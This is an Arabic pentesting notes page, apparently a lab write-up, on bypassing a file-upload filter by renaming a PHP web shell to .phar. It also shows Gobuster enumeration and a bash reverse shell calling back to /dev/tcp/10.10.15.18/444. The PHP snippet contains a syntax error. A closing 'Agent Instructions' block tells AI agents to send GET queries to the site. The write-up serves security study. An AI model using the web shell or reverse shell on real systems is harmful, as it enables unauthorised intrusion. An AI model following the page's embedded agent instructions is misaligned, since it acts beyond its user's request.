> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md).

# رفع ملف بامتداد .phar

<figure><img src="/files/d3d1da8718545821cfcb3c53f23fa051409f84d8" alt=""><figcaption></figcaption></figure>

#### الاستغلال الأولي:

محاولة استغلال ثغرة رفع ملف عبر إدراج ملف PHP خبيث

```php
<?php
system($_GET['cmd'];
?>

```

يقوم الخادم تلقائيًا برفض طلبات رفع الملفات ذات بعض الامتدادات.

<figure><img src="/files/0ec4af41c9cd5bca5d9c1dc65b7aa1bc1f27a97d" alt=""><figcaption></figcaption></figure>

**الاعتراض باستخدام Burp Suite:** استخدام Burp Suite لاعتراض وتحليل الحركة لفهم أخطاء الاستغلال

<figure><img src="/files/6d398a54bfedbcfd86c78cbbeb507b863d9c8f4a" alt=""><figcaption></figcaption></figure>

#### تعديل امتداد PHP:

تعديل امتداد الملف إلى `.php` إلى `.phar` في المتغير `الاسم`، والتأكد من أن الموقع قد قُبل بنجاح

<figure><img src="/files/4778a1b5ff099bbf1064458e103f7a1b8207ed46" alt=""><figcaption></figcaption></figure>

**استكشاف الدلائل:** استخدام Gobuster لتحديد الدلائل على خادم ويب وتحديد موقع تخزين الصور الطبية المرفوعة.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20

```

<figure><img src="/files/a36dd8435995b24ca056ca0e2454bcbac7946bd3" alt=""><figcaption></figcaption></figure>

#### الملف غير مُفسَّر:

لا يتم تفسير محتوى ملف .phar.

<figure><img src="/files/71822fec331edad3899fc20e5cab258a7084ff89" alt=""><figcaption></figcaption></figure>

**استخدام أداة من GitHub لإنشاء شل:** استخدام أداة قادمة من مشروع على GitHub لتجاوز قيود رفع ملفات PHP والحصول على وصول إلى شل

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/0fe55e303736d5e8d148bbc70794c647e7067573" alt=""><figcaption></figcaption></figure>

**تشغيل شل عكسي:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'

```

تنفيذ أمر شل عكسي لإقامة وصول تفاعلي إلى الجهاز المستهدف والحصول على تحكم كامل.

<figure><img src="/files/67f1a3e8dd3030d0f7614c7aa20b013a71dadbbb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
